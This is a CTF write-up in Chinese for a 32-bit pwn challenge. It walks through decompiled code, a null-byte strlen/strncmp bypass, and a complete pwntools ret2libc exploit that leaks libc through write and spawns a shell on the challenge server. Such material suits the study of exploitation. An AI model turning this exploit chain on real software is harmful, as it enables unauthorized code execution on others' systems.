32位程序,主要是绕过的关键一步

    1. int __cdecl sub_804871F(int a1)
    2. {
    3.   size_t v1; // eax@1
    4.   char s; // [sp+Ch] [bp-4Ch]@1
    5.   char buf[7]; // [sp+2Ch] [bp-2Ch]@1
    6.   unsigned __int8 v5; // [sp+33h] [bp-25h]@2
    7.   int v6; // [sp+4Ch] [bp-Ch]@1
    9.   memset(&s, 0, 0x20u);
    10.   memset(buf, 0, 0x20u);
    11.   sprintf(&s, "%ld", a1);
    12.   v6 = read(0, buf, 0x20u);
    13.   buf[v6 - 1] = 0;
    14.   v1 = strlen(buf);
    15.   if ( strncmp(buf, &s, v1) )
    16.     exit(0);
    17.   write(1, "Correct\n", 8u);
    18.   return v5;
    1. strlen()
    2. 函数原型：size_t strlen ( const char * str );
    3. 函数功能：
    4. 返回C字符串str的长度。
    5. C字符串的长度由终止的空字符确定：C字符串的长度与字符串开头和终止的空字符之间的字符数一样长（不包括终止的空字符本身）。
    7. strncmp()
    8. 函数原型：int strncmp ( const char * str1, const char * str2, size_t num );
    9. 函数功能：
    10. 比较两个字符串的字符，比较C字符串str1的num字符和C字符串str2的num字符。
    11. 这个函数开始比较每个字符串的第一个字符。如果它们彼此相等，则继续执行以下操作，
    12. 直到字符不同为止，直到到达一个终止的空字符，或者直到两个字符串中的num字符匹配为止(以先发生的情况为准)。
    13. string1 > string2  return 1
    14. string1 = string2  return 0
    15. string1 < string2  return -1

    read以 \n 结束
    strlen以 \x00 结束
    image.png
    让 v1 变成0，返回0不会退出程序
    之后返回一个参数给下一个函数，把值覆盖为最大 \xff 使下一个函数可以溢出
    image.png

    1. from pwn import *
    2. from LibcSearcher import *
    4. content = 0
    5. context(os='linux', arch='x86', log_level='debug')
    7. elf = ELF("pwn")
    9. main_addr = 0x08048825
    11. write_plt = elf.plt["write"]
    12. write_got = elf.got["write"]
    14. def correct():
    15.     payload = b'\x00\x00\x00\x00' + b'\xff\xff\xff\xff'
    16.     peiqi.sendline(payload)
    18.     peiqi.recvuntil("Correct\n")
    20. def main():
    21.     global peiqi    
    23.     if content == 1:
    24.         peiqi = process("pwn")
    25.     else:
    26.         peiqi = remote("node3.buuoj.cn",28691)
    28.     correct()
    30.     payload = b'a' * (0xe7 + 4)
    31.     payload = payload + p32(write_plt) + p32(main_addr)
    32.     payload = payload + p32(1) + p32(write_got) + p32(0x8)
    34.     peiqi.sendline(payload)
    35.     write_addr = u32(peiqi.recv(4))
    37.     log.success("write_addr :" + str(hex(write_addr)))
    39.     libc = LibcSearcher('write', write_addr)
    40.     libc_base = write_addr - libc.dump('write')
    42.     system_addr = libc_base + libc.dump("system")
    43.     bin_sh_addr = libc_base + libc.dump("str_bin_sh")
    45.     correct()
    47.     payload = b'a' * (0xe7 + 4)
    48.     payload = payload + p32(system_addr) + p32(1) + p32(bin_sh_addr)
    50.     peiqi.sendline(payload)
    51.     peiqi.interactive()
    54. main()

    image.png